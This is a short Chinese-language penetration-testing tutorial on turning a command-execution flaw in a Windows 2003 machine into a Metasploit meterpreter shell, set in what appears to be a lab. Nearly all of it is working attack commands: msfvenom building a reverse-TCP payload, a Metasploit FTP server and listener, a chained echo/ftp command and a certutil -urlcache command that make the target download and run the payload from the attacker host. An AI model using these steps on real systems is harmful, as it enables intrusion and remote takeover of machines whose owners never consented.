windows存在命令执行漏洞时获取shell
靶机地址:10.0.3.146
攻击者地址:10.0.3.120
思路:生成一个shell,让靶机下载下来并执行。方法一是利用ftp下载,方法二是利用可信证书下载http网站的内容。
通过命令执行可以知道靶机是windows2003,32位的。(命令执行systeminfo)
首先利用kali生成一个shell,
命令:msfvenom -p windows/meterpreter_reverse_tcp lhost=10.0.3.120 lport=7070 -f exe -o /tmp/win.exe
方法一:
打开ftp服务器
利用msf的 auxiliary/server/ftp模块,只需要设置路径就好了
访问一下 访问到说明开启成功
成功后把这个job放入后台 ,命令是back
接下来先在kali中开启监听
命令:handler -p windows/meterpreter_reverse_tcp -H 10.0.3.120 -P 7070
现在去靶机上通过cmd命令下载win.exe并执行
cmd命令:echo open 10.0.3.120>ttt.txt&echo anonymous>>ttt.txt&echo whatever>>ttt.txt&echo binary>>ttt.txt&echo get jet.exe>>ttt.txt&echo bye>>ttt.txt&ftp -s:ttt.txt
执行后可以用dir命令看是否下载成功
之后执行jet.exe
得到反弹shell
进入sessions1 命令:sessions 1
获得meterpreter
方法二,
此方法也是要先生成一个shell,文章开头有写,不重复了。
开启http服务
命令:python -m SimpleHTTPServer 80(在需要的目录下快速开启)
访问
在msf下开启监听: handler -p windows/meterpreter_reverse_tcp -H 10.0.3.120 -P 7070
在靶机命令执行处执行
cmd.exe /c "certutil.exe -urlcache -split -f http://10.0.3.120/jet.exe &jet.exe &del jet.exe"
成功返回shell